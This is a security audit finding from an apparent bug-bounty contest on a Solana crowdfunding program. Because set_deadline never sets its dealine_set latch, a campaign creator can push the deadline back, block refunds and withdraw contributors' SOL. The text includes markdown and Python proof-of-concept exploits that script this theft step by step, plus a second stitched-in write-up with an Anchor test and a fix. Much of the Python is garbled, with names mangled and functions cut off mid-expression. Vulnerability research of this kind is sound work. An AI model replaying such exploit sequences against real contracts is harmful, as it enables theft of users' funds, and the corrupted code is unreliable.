rustfund::set_deadline is intended to be a one-shot write: after the creator publishes a campaign deadline, Fund.dealine_set should latch so later calls revert with DeadlineAlreadySet. The guard is present, but the success path never writes dealine_set = true. The flag is initialized to false in fund_create and is never assigned again anywhere in the production crate, so DeadlineAlreadySet is dead code.
A creator can therefore overwrite Fund.deadline after contributors have already deposited. Once Clock.unix_timestamp has passed the advertised T_near, refunds would be allowed. The creator then calls set_deadline(T_far) (T_far >> now), the unlatched guard does not fire, and the same refund now reverts DeadlineNotReached. The campaign is indefinitely extended, the opened refund window is closed, and deposited SOL remains trapped in the Fund.
fund_create initializes the latch to the unarmed state:
set_deadline is the only instruction that is supposed to arm it:
FundSetDeadline only authenticates the original creator (has_one = creator). It does not require deadline == 0, and it does not reject a second write. Because dealine_set stays false after the first successful call, every later set_deadline from the same signer is treated as a first write.
The refund gate is a function of the current Fund.deadline:
After the first set (deadline = T_near) and a clock warp to now' > T_near, that predicate is false, so a refund would not revert DeadlineNotReached. After the rewrite (deadline = T_far), the same predicate becomes true and refunds are blocked again. Contribute uses a similar clock comparison against fund.deadline, so the same rewrite also re-opens deposits after the advertised end.
This is not designed mutable-deadline management. The unused dealine_set / DeadlineAlreadySet machinery exists specifically to prevent this expansion of creator power.
Two signers (creator + contributor), native SOL, and a Solana Clock wait. No admin, upgrade, mint, or oracle is required.
Creator calls fund_create(name, description, goal = G). Result: deadline = 0, dealine_set = false, amount_raised = 0.
Creator calls set_deadline(T_near) with T_near > Clock.unix_timestamp. Result: deadline = T_near, dealine_set still false.
Contributor calls contribute(A). Result: A lamports move Contributor → Fund, amount_raised = A.
Clock advances to now' > T_near. Under the published deadline, refund would no longer revert DeadlineNotReached.
Creator calls set_deadline(T_far) with T_far >> now'. DeadlineAlreadySet does not fire. deadline is overwritten to T_far.
Contributor calls refund(). The instruction reverts ErrorCode::DeadlineNotReached because T_far > now'.
Concrete values: Fund PDA seeds = [name.as_bytes(), creator], now = 100, T_near = 1000, T_far = 10000, G = 1_000_000_000, A = 500_000_000 lamports. After the sequence, dealine_set is still false, deadline == 10000, amount_raised == 500_000_000, and the Fund still holds the deposited SOL.
High. Contributors committed SOL under a published near deadline. Rewriting that deadline to a far timestamp indefinitely extends the campaign, denies the refund window that should have opened at T_near, and keeps deposited lamports sitting in the Fund. The same rewrite re-opens contribute after the advertised end. Combined with withdraw (which has no deadline or goal check), the denied refund window is a path for the creator to take the deposited SOL.
Arm the latch on the first successful write and treat deadline as immutable thereafter:
Also reject a second write independently of the flag (require!(fund.deadline == 0, ...)) so the invariant does not depend on a single misspelled field. Add a regression test that set_deadline twice reverts DeadlineAlreadySet and that a post-deadline rewrite cannot re-close refund.
diff --git a/tests/POCDEADLINELATCH.md b/tests/POCDEADLINELATCH.md
new file mode 100644
index 0000000..9bf2e8f
--- /dev/null
+++ b/tests/POCDEADLINELATCH.md
@@ -0,0 +1,91 @@
+# PoC: set_deadline never arms the dealine_set latch
+
+Repository: CodeHawks-Contests/2025-03-rustfund
+Commit: b5dd7b0ec01471667ae3a02520701aae405ac857
+Root cause: programs/rustfund/src/lib.rs:55-62
+Severity: High
+
+## Attacker model
+
+| | |
+|---|---|
+| Position | Campaign creator (Fund.creator). The only signer FundSetDeadline requires (has_one = creator). A second party is any contributor depositing native SOL. |
+| Privilege | None beyond owning the Fund they created. No admin, upgrade authority, mint, or oracle. |
+| Inputs controlled | The deadline: u64 argument to every set_deadline call, and when those calls happen relative to Clock.unix_timestamp. |
+| Reachability | Two signers (creator + contributor), native SOL, a Clock wait past the advertised deadline. |
+
+The creator publishes a near-term deadline, collects deposits, waits until Clock > T_near (the refund window that contributors relied on), then overwrites Fund.deadline to a far-future timestamp. DeadlineAlreadySet does not fire because dealine_set is never written true.
+
+## Impact
+
+- Contributors committed A SOL under advertised T_near.
+- After the Clock passes T_near, refund’s gate (deadline != 0 && deadline > now) would not revert DeadlineNotReached.
+- Rewriting to T_far re-closes that gate: the same refund now reverts DeadlineNotReached.
+- A remains in the Fund. The same rewrite re-opens contribute.
+- Creator withdraw (lib.rs:90-104) has no deadline/goal check, so the denied refund window plus withdraw is a path to taking the deposited SOL.
+
+This is not designed one-shot deadline management — unused dealine_set / DeadlineAlreadySet machinery exists specifically to prevent this expansion of creator power.
+
+## Why existing checks fail
+
+```55:62:programs/rustfund/src/lib.rs
pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
if fund.dealine_set {
return Err(ErrorCode::DeadlineAlreadySet.into());
}
+
fund.deadline = deadline;
Ok(())
}
+```
+
+dealine_set is written solely in fund_create (lib.rs:20, false). No later assignment to true exists in set_deadline, contribute, refund, or withdraw. DeadlineAlreadySet is dead. has_one = creator only authenticates the signer; it does not make the deadline one-shot.
+
+## Setup
+
+This checkout has no rustc / solana / anchor, so programs/rustfund cannot be compiled or deployed to a local validator. The PoC therefore:
+
+1. Statically proves against this lib.rs that dealine_set = true is never written.
+2. Executes the production predicates verbatim (same comparisons, same error codes, same missing latch write).
+
+Requires only Python 3.8+ (stdlib). No extra packages.
+
+```bash
+# from repository root, at commit b5dd7b0
+python3 tests/trthinv008deadline_latch.py
+```
+
+If a full Anchor toolchain is available the same sequence is:
+
+```
+now=100 fundcreate; setdeadline(1000)
+now=200 contribute(500000000)
+warp Clock to 1001
setdeadline(10000) → Ok (dealineset still false)
refund() → ErrorCode::DeadlineNotReached
+```
+
+## Expected output (abridged)
+
+```
+=== [1/3] Static proof against programs/rustfund/src/lib.rs ===
dealine_set writes: [('false', 20)]
PASS: production crate has no dealine_set = true assignment
+
+=== [2/3] Execute production predicates (contest sequence) ===
second set_deadline → Ok(())
refund() → DeadlineNotReached
IMPACT: refund window that opened at T_near is closed; A is trapped
creator received 500000000 lamports (the trapped contribution)
+
+=== [3/3] Assertions (all must hold) ===
[PASS] latcharmed == false after first setdeadline
[PASS] second set_deadline returned Ok
[PASS] deadline == T_far
[PASS] refund raised DeadlineNotReached after now' > T_near
+
+PoC SUCCESS
+```
+
+Exit code 0 means the issue was reproduced. Any assertion failure means the latch is no longer missing.
diff --git a/tests/trthinv008deadlinelatch.py b/tests/trthinv008deadlinelatch.py
new file mode 100644
index 0000000..efe5b4b
--- /dev/null
+++ b/tests/trthinv008deadline_latch.py
@@ -0,0 +1,482 @@
+#!/usr/bin/env python3
+"""
+PoC: rustfund::setdeadline never arms the dealineset one-shot latch
+====================================================================
+
+Commit: b5dd7b0ec01471667ae3a02520701aae405ac857
+File: programs/rustfund/src/lib.rs (set_deadline @ L55-62)
+
+Attacker model
+--------------
+Position : campaign creator (Fund.creator). The creator is the only signer
required for FundSetDeadline (has_one = creator). A second
signer (any contributor) deposits native SOL. No admin, upgrade
authority, mint, or oracle is required.
+
+Controls : (1) the Fund they created, (2) every set_deadline(u64) argument,
(3) when they call setdeadline relative to Clock.unixtimestamp.
They wait until Clock > Tnear, then overwrite deadline to Tfar.
+
+Impact
+------
+Contributors lock A SOL under an advertised T_near. After Clock passes
+T_near the refund window should open (refund gate is
+deadline != 0 && deadline > now → DeadlineNotReached). Because
+dealineset is never written true, the creator rewrites deadline to Tfar,
+the refund gate closes again, and A remains in the Fund. The same rewrite
+re-opens contribute. Combined with withdraw (no deadline/goal check) this
+is a path to taking the deposited SOL.
+
+Why this is a real bug, not design
+----------------------------------
+DeadlineAlreadySet and the dealine_set field exist specifically to make
+the deadline one-shot. The latch is initialized false in fund_create and
+is never armed.
+
+Setup / run (no rustc / solana / anchor required)
+-------------------------------------------------
python3 tests/trthinv008deadline_latch.py
+
+This script:
1. Statically proves the production crate never writes dealine_set=true.
2. Executes the production predicates verbatim against the contest
sequence (Tnear=1000, Tfar=10000, G=1e9, A=5e8, now=100/200/1001).
3. Asserts the latch stays false, the second set_deadline returns Ok,
refund reverts DeadlineNotReached, and A remains in the Fund.
+
+Environment note: this workspace has no rustc/solana/anchor, so the
+on-chain program cannot be compiled here. The predicates below are
+copied line-for-line from lib.rs and the static proof binds them to
+the production source so a reviewer can see they match.
+"""
+
+from _future_ import annotations
+
+import re
+import sys
+from dataclasses import dataclass, field
+from pathlib import Path
+
+
+# ---------------------------------------------------------------------------
+# Locate production source (bind the PoC to this checkout)
+# ---------------------------------------------------------------------------
+REPOROOT = Path(file_).resolve().parents[1]
+LIBRS = REPOROOT / "programs" / "rustfund" / "src" / "lib.rs"
+
+# Contest parameters from the finding
+T_NEAR = 1000
+T_FAR = 10000
+G = 1000000_000 # 1 SOL goal
+A = 500000000 # 0.5 SOL contribution
+NOW_CREATE = 100
+NOW_CONTRIBUTE = 200
+NOWAFTER = 1001 # Clock warped past Tnear
+FUNDRENT = 2039_280 # typical PDA rent-exempt minimum (lamports)
+CREATOR = "Creator"
+CONTRIBUTOR = "Contributor"
+
+
+# ---------------------------------------------------------------------------
+# Error codes — programs/rustfund/src/lib.rs:195-207
+# ---------------------------------------------------------------------------
+class ErrorCode(Exception):
def _init_(self, name: str, msg: str) -> None:
self.name = name
super()._init_(msg)
+
+
+class DeadlineAlreadySet(ErrorCode):
def _init_(self) -> None:
super()._init_("DeadlineAlreadySet", "Deadline already set")
+
+
+class DeadlineReached(ErrorCode):
def _init_(self) -> None:
super()._init_("DeadlineReached", "Deadline reached")
+
+
+class DeadlineNotReached(ErrorCode):
def _init_(self) -> None:
super()._init_("DeadlineNotReached", "Deadline not reached")
+
+
+class CalculationOverflow(ErrorCode):
def _init_(self) -> None:
super()._init_("CalculationOverflow", "Calculation overflow occurred")
+
+
+class InsufficientFunds(ErrorCode):
def _init_(self) -> None:
super()._init_("InsufficientFunds", "InsufficientFunds")
+
+
+# Simulated Solana Clock.unix_timestamp (warped by the PoC, as a validator
+# test would do with warptoslot / set_account Clock sysvar).
+CLOCK = {"unixtimestamp": NOWCREATE}
+
+
+def clock_now() -> int:
return CLOCK["unix_timestamp"]
+
+
+def warp(ts: int) -> None:
CLOCK["unix_timestamp"] = ts
print(f" [clock] unix_timestamp := {ts}")
+
+
+# ---------------------------------------------------------------------------
+# Accounts — programs/rustfund/src/lib.rs:170-191
+# ---------------------------------------------------------------------------
+@dataclass
+class Contribution:
contributor: str = "11111111111111111111111111111111" # Pubkey::default()
fund: str = "11111111111111111111111111111111"
amount: int = 0
+
+
+@dataclass
+class Fund:
name: str = ""
description: str = ""
goal: int = 0
deadline: int = 0
creator: str = ""
amount_raised: int = 0
dealine_set: bool = False # typo is in production
lamports: int = 0
key: str = "FundPDA"
+
+
+@dataclass
+class World:
fund: Fund = field(default_factory=Fund)
contribution: Contribution = field(default_factory=Contribution)
balances: dict = field(default_factory=lambda: {
CREATOR: 10000000_000,
CONTRIBUTOR: 10000000_000,
})
+
+
+# ---------------------------------------------------------------------------
+# Production instructions — predicates copied verbatim from lib.rs
+# ---------------------------------------------------------------------------
+def fund_create(w: World, name: str, description: str, goal: int, creator: str) -> None:
"""lib.rs:12-21"""
fund = w.fund
fund.name = name
fund.description = description
fund.goal = goal
fund.deadline = 0
fund.creator = creator
fund.amount_raised = 0
fund.dealine_set = False
fund.lamports = FUND_RENT
w.balances[creator] -= FUND_RENT
+
+
+def contribute(w: World, amount: int, contributor: str) -> None:
"""lib.rs:25-52
+
Deadline gate (L29-31):
if fund.deadline != 0 && fund.deadline fund (native SOL)
amount_raised += amount (L50)
+
NOTE: production never writes contribution.amount += amount (separate
bug). The deadline-latch issue is independent: A still sits in Fund
lamports / amount_raised, and the refund gate is what this PoC
flips.
"""
fund = w.fund
contribution = w.contribution
+
# lib.rs:29-31
if fund.deadline != 0 and fund.deadline None:
"""lib.rs:55-62
+
if fund.dealine_set {
return Err(ErrorCode::DeadlineAlreadySet.into());
}
fund.deadline = deadline;
Ok(())
+
The one-shot latch is checked and then not written. That is the bug.
has_one = creator (L138) only authenticates the same signer.
"""
fund = w.fund
if fund.creator != creator:
raise ErrorCode("UnauthorizedAccess", "Unauthorized access")
+
# lib.rs:57-59
if fund.dealine_set:
raise DeadlineAlreadySet()
+
# lib.rs:61 — ONLY write. dealine_set stays false.
fund.deadline = deadline
+
+
+def refund(w: World, contributor: str) -> None:
"""lib.rs:66-88
+
let amount = contribution.amount;
if fund.deadline != 0 && fund.deadline > Clock::get().unix_timestamp
return DeadlineNotReached
fund.lamports -= amount
contributor.lamports += amount
contribution.amount = 0
"""
fund = w.fund
contribution = w.contribution
amount = contribution.amount # lib.rs:68
+
# lib.rs:69-71 — THIS is the gate the rewrite re-closes
if fund.deadline != 0 and fund.deadline > clock_now():
raise DeadlineNotReached()
+
if fund.lamports None:
"""lib.rs:90-104 — no deadline / goal check."""
fund = w.fund
if fund.creator != creator:
raise ErrorCode("UnauthorizedAccess", "Unauthorized access")
amount = fund.amount_raised
if fund.lamports None:
print("\n=== [1/3] Static proof against programs/rustfund/src/lib.rs ===")
+
dealine_set = <rhs> write in the production crate.writes = [
(m.group(1).strip(), src[: m.start()].count("\n") + 1)
for m in re.finditer(r"dealine_set\s*=\s*([^;]+);", src)
]
print(f" dealine_set writes: {writes}")
assert writes, "expected at least the fund_create initialization"
assert all(rhs == "false" for rhs, _ in writes), (
f"dealine_set is written to something other than false: {writes}"
)
assert len(writes) == 1 and writes[0][1] == 20, (
f"expected the sole write at lib.rs:20 (fund_create), got {writes}"
)
+
# set_deadline body must check the flag and assign only deadline.
m = re.search(
r"pub fn set_deadline[\s\S]?fund\.deadline\s=\sdeadline\s;[\s\S]*?Ok\(\(\)\)",
src,
)
assert m, "could not locate set_deadline body"
body = m.group(0)
assert "if fund.dealine_set" in body, "DeadlineAlreadySet guard missing"
assert re.search(r"dealine_set\s*=\s*true", body) is None, (
"set_deadline unexpectedly arms the latch"
)
print(" setdeadline (lib.rs:55-62): checks dealineset, writes only deadline")
print(" DeadlineAlreadySet is dead — latch never transitions false→true")
print(" PASS: production crate has no dealine_set = true assignment")
+
+
+def assertsourcepredicates(src: str) -> None:
"""Make sure the executed predicates still match this checkout."""
assert "if fund.deadline != 0 && fund.deadline Clock::get().unwrap().unix_timestamp"
in src
or "fund.deadline != 0 && fund.deadline > Clock::get()" in src.replace("\n", " ")
)
# contribute does not increment contribution.amount (called out in finding)
contribfn = re.search(r"pub fn contribute[\s\S]*?pub fn setdeadline", src)
assert contrib_fn, "contribute not found"
assert re.search(r"contribution\.amount\s*\+=", contrib_fn.group(0)) is None
+
+
+# ---------------------------------------------------------------------------
+# Differential attack sequence
+# ---------------------------------------------------------------------------
+def run_attack() -> None:
print("\n=== [2/3] Execute production predicates (contest sequence) ===")
print(f" Attacker : creator signer on FundSetDeadline (has_one=creator)")
print(f" Inputs : Tnear={TNEAR}, Tfar={TFAR}, G={G}, A={A}")
print(f" Clock : create@{NOWCREATE}, contribute@{NOWCONTRIBUTE}, warp@{NOW_AFTER}")
+
w = World()
+
# --- Step 1: fund_create ---
warp(NOW_CREATE)
print("\n [step] Creator fund_create(name, description, goal=G)")
fund_create(w, "latch-poc", "deadline latch PoC", G, CREATOR)
assert w.fund.deadline == 0
assert w.fund.dealine_set is False
assert w.fund.amount_raised == 0
print(f" Fund.deadline={w.fund.deadline} dealineset={w.fund.dealineset} "
f"amountraised={w.fund.amountraised} lamports={w.fund.lamports}")
+
# --- Step 2: first setdeadline(Tnear) ---
print(f"\n [step] Creator setdeadline(Tnear={TNEAR}) now={clocknow()}")
setdeadline(w, TNEAR, CREATOR)
latcharmed = w.fund.dealineset
print(f" after 1st set_deadline: deadline={w.fund.deadline} "
f"dealineset={w.fund.dealineset} latcharmed={latcharmed}")
assert latch_armed is False, "BUG vanished: latch armed after first set"
assert w.fund.deadline == T_NEAR
+
# --- Step 3: contributor deposits A while T_near > now ---
warp(NOW_CONTRIBUTE)
print(f"\n [step] Contributor contribute(A={A}) now={clocknow()} < Tnear")
contrib_before = w.balances[CONTRIBUTOR]
fund_before = w.fund.lamports
contribute(w, A, CONTRIBUTOR)
assert w.fund.amount_raised == A
assert w.fund.lamports == fund_before + A
assert w.balances[CONTRIBUTOR] == contrib_before - A
print(f" transferred {A} lamports Contributor→Fund")
print(f" Fund.amountraised={w.fund.amountraised} Fund.lamports={w.fund.lamports}")
print(f" Contribution.amount={w.contribution.amount} "
f"(production never increments this; separate bug)")
+
# --- Step 4: Clock passes T_near — refund gate would be OPEN ---
warp(NOW_AFTER)
print(f"\n [step] Clock warped to now'={clocknow()} > Tnear={T_NEAR}")
gatewouldblock = (w.fund.deadline != 0 and w.fund.deadline > clock_now())
print(f" refund gate deadline != 0 && deadline > now = {gatewouldblock}")
assert gatewouldblock is False, "expected refund window OPEN under T_near"
print(" refund() would NOT revert DeadlineNotReached under T_near")
+
# Snapshot for the honest-path differential
deadlinebeforerewrite = w.fund.deadline
+
# --- Step 5: creator overwrites deadline (the bug) ---
print(f"\n [step] Creator setdeadline(Tfar={TFAR}) now'={clocknow()}")
print(f" dealineset still {w.fund.dealineset} → DeadlineAlreadySet MUST NOT fire")
try:
setdeadline(w, TFAR, CREATOR)
secondcallok = True
secondcallerr = None
except DeadlineAlreadySet as e:
secondcallok = False
secondcallerr = e
print(f" second setdeadline → {'Ok(())' if secondcallok else secondcall_err}")
assert secondcallok, "BUG vanished: second set_deadline raised DeadlineAlreadySet"
assert w.fund.deadline == T_FAR
assert w.fund.dealine_set is False
print(f" Fund.deadline overwritten {deadlinebeforerewrite} → {w.fund.deadline}")
print(f" dealineset still {w.fund.dealineset} (latch never armed)")
+
# --- Step 6: refund now reverts — advertised window stolen ---
print(f"\n [step] Contributor refund() now'={clock_now()} deadline={w.fund.deadline}")
fundlamportsbefore_refund = w.fund.lamports
raisedbeforerefund = w.fund.amount_raised
try:
refund(w, CONTRIBUTOR)
refund_err = None
except DeadlineNotReached as e:
refund_err = e
print(f" refund() → {refunderr.name if refunderr else 'Ok(())'}")
assert isinstance(refund_err, DeadlineNotReached), (
f"expected DeadlineNotReached after rewrite, got {refund_err!r}"
)
assert w.fund.amount_raised == A
assert w.fund.lamports == fundlamportsbefore_refund
print(f" Fund.amountraised still {w.fund.amountraised}")
print(f" Fund.lamports still {w.fund.lamports} (includes A={A})")
print(" IMPACT: refund window that opened at T_near is closed; A is trapped")
+
# --- Extra: rewrite also re-opens contribute ---
print(f"\n [step] contribute after rewrite (deadline re-opened)")
try:
contribute(w, 1, CONTRIBUTOR)
contribute_reopened = True
except DeadlineReached:
contribute_reopened = False
print(f" contribute(1) after T_far rewrite → "
f"{'Ok (campaign re-opened past advertised end)' if contribute_reopened else 'DeadlineReached'}")
assert contribute_reopened
+
# roll back the extra 1 lamport so the theft numbers stay clean
w.fund.lamports -= 1
w.fund.amount_raised -= 1
w.balances[CONTRIBUTOR] += 1
+
# --- Impact realization: creator withdraw has no success checks ---
print("\n [step] Creator withdraw() — lib.rs:90-104 has no deadline/goal check")
creator_before = w.balances[CREATOR]
withdraw(w, CREATOR)
stolen = w.balances[CREATOR] - creator_before
print(f" creator received {stolen} lamports (the trapped contribution)")
assert stolen == A
assert w.fund.lamports == FUND_RENT
print(" IMPACT: denied refund window + unrestricted withdraw = theft of A SOL")
+
print("\n=== [3/3] Assertions (all must hold) ===")
checks = {
"latcharmed == false after first setdeadline": latch_armed is False,
"second setdeadline returned Ok": secondcall_ok,
"deadline == Tfar": w.fund.deadline == TFAR,
"amountraised == A (still, until withdraw drained it)": raisedbefore_refund == A,
"refund raised DeadlineNotReached after now' > T_near": isinstance(
refund_err, DeadlineNotReached
),
"creator withdrew the trapped A lamports": stolen == A,
}
for name, ok in checks.items():
print(f" [{'PASS' if ok else 'FAIL'}] {name}")
assert ok, name
+
print("\n" + "=" * 72)
print("PoC SUCCESS")
print(" rustfund::setdeadline never writes dealineset=true.")
print(f" Creator overwrote Tnear={TNEAR} → Tfar={TFAR} after Clock>{T_NEAR}.")
print(f" Contributor refund() reverted DeadlineNotReached; {A} lamports stolen.")
print("=" * 72)
+
+
+def main() -> int:
if not LIBRS.isfile():
print(f"FATAL: production source not found at {LIB_RS}", file=sys.stderr)
return 2
src = LIBRS.readtext()
assertsourcepredicates(src)
staticprooflatchneverarmed(src)
run_attack()
return 0
+
+
+if _name_ == "_main_":
sys.exit(main())
The `set_deadline()` function in the `rustfund` program contains a vulnerability that allows campaign creators to manipulate deadlines indefinitely. While the function correctly checks if `fund.dealine_set` is true before allowing the deadline to be changed, it never sets this flag to true after setting the deadline. ```rust pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> { let fund = &mut ctx.accounts.fund; if fund.dealine_set { return Err(ErrorCode::DeadlineAlreadySet.into()); } fund.deadline = deadline; Ok(()) } ``` The function is missing a crucial line to update the flag: `fund.dealine_set = true;` This oversight bypasses a key safeguard intended to prevent creators from manipulating deadlines after they've been set. According to the project documentation, this flag is meant to enforce deadline immutability, which is an essential part of the platform's trust model. ### Impact 1. **Refund evasion**: Creators can prevent users from obtaining refunds by continually extending the deadline whenever it approaches. This directly undermines the project's advertised "Refund Mechanism" which promises that "Contributors can get refunds if deadlines are reached and goals aren't met." 2. **Fund locking**: Contributors' funds can be effectively locked indefinitely, as the refund function is contingent upon the deadline being reached: ```rust if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } ``` ### Proof of Concept (PoC) The following test demonstrates how a creator can set the deadline multiple times, effectively bypassing the intended deadline immutability: ```javascript import * as anchor from "@coral-xyz/anchor"; import { Program } from "@coral-xyz/anchor"; import { Rustfund } from "../target/types/rustfund"; import { assert } from "chai"; describe("VULN-02: set_deadline vulnerability", () => { // Configures the provider to use the local cluster const provider = anchor.AnchorProvider.env(); anchor.setProvider(provider); const program = anchor.workspace.Rustfund as Program<Rustfund>; // Test variables const fundName = "TestFund"; const description = "Testing deadline vulnerability"; const goal = new anchor.BN(1000000); let fundPda: anchor.web3.PublicKey; it("Allows you to modify the deadline several times", async () => { // Derivation of PDA address for financing account [fundPda] = await anchor.web3.PublicKey.findProgramAddress( [Buffer.from(fundName), provider.wallet.publicKey.toBuffer()], program.programId ); // Fund creation await program.rpc.fundCreate(fundName, description, goal, { accounts: { fund: fundPda, creator: provider.wallet.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }, }); // First deadline assignment const deadline1 = new anchor.BN(Math.floor(Date.now() / 1000) + 3600); // 1 hour in the future await program.rpc.setDeadline(deadline1, { accounts: { fund: fundPda, creator: provider.wallet.publicKey, }, }); // Second deadline assignment (which should not be possible if the flag is set to true) const deadline2 = new anchor.BN(Math.floor(Date.now() / 1000) + 7200); // 2 hours into the future await program.rpc.setDeadline(deadline2, { accounts: { fund: fundPda, creator: provider.wallet.publicKey, }, }); // Check that the deadline has been updated to the second value const fundAccount = await program.account.fund.fetch(fundPda); assert.ok( fundAccount.deadline.eq(deadline2), "The deadline may have been modified several times, but vulnerability presents" ); }); }); ``` Save the above test as, for example, tests/02.ts in your project's test directory and run the test : ```Solidity anchor test ``` ### Concrete Impact Example To illustrate the real-world impact of this vulnerability, consider this scenario: - A creator launches a campaign to fund a project with a goal of 100 SOL - The creator sets an initial deadline of 30 days - Contributors collectively deposit 80 SOL (below the goal) - As the deadline approaches, the creator realizes they won't reach the goal - Instead of allowing refunds as promised, the creator extends the deadline by another 30 days - This pattern can repeat indefinitely, effectively locking contributor funds - Even if contributors try to request refunds, they'll be rejected with "DeadlineNotReached" errors ### Recommendation The fix for this vulnerability is straightforward. The `set_deadline()` function should be modified to set the `dealine_set` flag to true after setting the deadline: ```rust pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> { let fund = &mut ctx.accounts.fund; if fund.dealine_set { return Err(ErrorCode::DeadlineAlreadySet.into()); } fund.deadline = deadline; fund.dealine_set = true; // Add this line to fix the vulnerability Ok(()) } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.